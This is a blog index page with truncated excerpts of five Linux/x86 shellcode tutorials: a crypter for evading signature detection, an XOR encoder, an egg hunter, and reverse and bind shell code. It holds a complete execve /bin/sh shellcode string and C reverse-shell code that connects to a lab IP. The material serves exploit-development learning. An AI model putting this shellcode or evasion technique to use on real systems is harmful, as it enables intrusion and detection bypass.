Security

Shellcode Crypter – Linux/x86

Shellcode Crypter – Linux/x86

Security
A "crypter" is quite interesting because of the fact that it scrambles a shellcode so it can evade signature matching using an encryption algorithm. This is why "crypters" are quite advantageous to use in penetration testing engagements but for this article, I'll show how a basic "crypter" can work. The first requirement is a shellcode to encrypt. I'll be using an execve shellcode which executes /bin/sh in this case. \x31\xc0\x50\x50\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\x64\x24\x0c\x89\xe3\x8d\x4c\x24\x0c\x8b\x54\x24\x10\xb0\x0b\xcd\x80 This shellcode is based from the NASM program: global _start global _start section .text _start: xor eax, eax push eax push eax push eax push "//sh" push "/bin" mov dword[esp + 12], esp mov ebx, esp lea ecx, [esp ...
Custom Shellcode Encoder – X+1 XOR 0xAA (Linux/x86)

Custom Shellcode Encoder – X+1 XOR 0xAA (Linux/x86)

Security
Encoders are quite useful in cases where there are restricted characters in an application being exploited. Popular encoders can be found in Metasploit like shikata_ga_nai and many more. To demonstrate how encoders work, I've created a very basic encoder which adds 1 byte to each shellcode characters and the result gets XOR'd with 0xAA. The formula goes something like this: (X + 1) xor 0xAA = Y, where X is a byte of the shellcode and Y is the encoded byte Y in this case can be transformed back to X using the formula: (Y xor 0xAA) - 1 = X, where Y is the encoded byte and X is the original shellcode byte To do this, suppose we have an execve NASM program that runs /bin/sh: global _start global _start section .text _start: xor eax, eax push eax push eax push eax push ...
Egg Hunter – Shellcode (Linux/x86)

Egg Hunter – Shellcode (Linux/x86)

Security
An egg hunter is usually used in exploit development. To give a brief description, this "process" is implemented when there is a small space for the shellcode's storage during exploitation. What the egg hunter does is it tries to find the "egg" in the whole virtual address space (memory) as it is an indication of the start of another shellcode which couldn't fit in the buffer of an application being exploited. During my time on "Penetration Testing with Kali (PWK-OSCP)", I remember coming across this exploit which had the string "n00bn00b" before the shellcode. It looked something like this: At first, I didn't really mind it because I thought it was just an adjustment for the correct offset of the EIP overwriting but what I previously couldn't understand is why I should wait ...
Reverse Shell – Shellcode (Linux/x86)

Reverse Shell – Shellcode (Linux/x86)

Security
A reverse shell is basically the opposite of bind shell. Instead of having the remote machine listen for incoming connections, the penetration tester's machine is the one who's listening. There are pros and cons of using a reverse shell vs bind shell but this solely depends on how the network of connecting parties are set. First, to be able to create a working "reverse shell", a C program has been created to test the functionality of the APIs used. #include <unistd.h> #include <arpa/inet.h> int main() { struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(443); addr.sin_addr.s_addr = inet_addr("192.168.189.132"); int sockfd = socket(AF_INET, SOCK_STREAM, 0); connect(sockfd, (struct sockaddr*)&addr, sizeof(addr)); dup2(sockfd, ...
Bind Shell – Shellcode (Linux/x86)

Bind Shell – Shellcode (Linux/x86)

Security
A bind shell is quite common in penetration testing where it is usually combined with an exploit so a tester or assessor could connect to the machine. This basically opens a port and serves a shell as the service running on that specific port in the machine where the code is executed. First, to be able to create a working "bind shell" shellcode, a C program has been created to test the functionality of the APIs used. #include <sys/types.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <linux/net.h> int main() { struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(443); addr.sin_addr.s_addr = INADDR_ANY; int sockfd = socket(AF_INET, SOCK_STREAM, 0); ...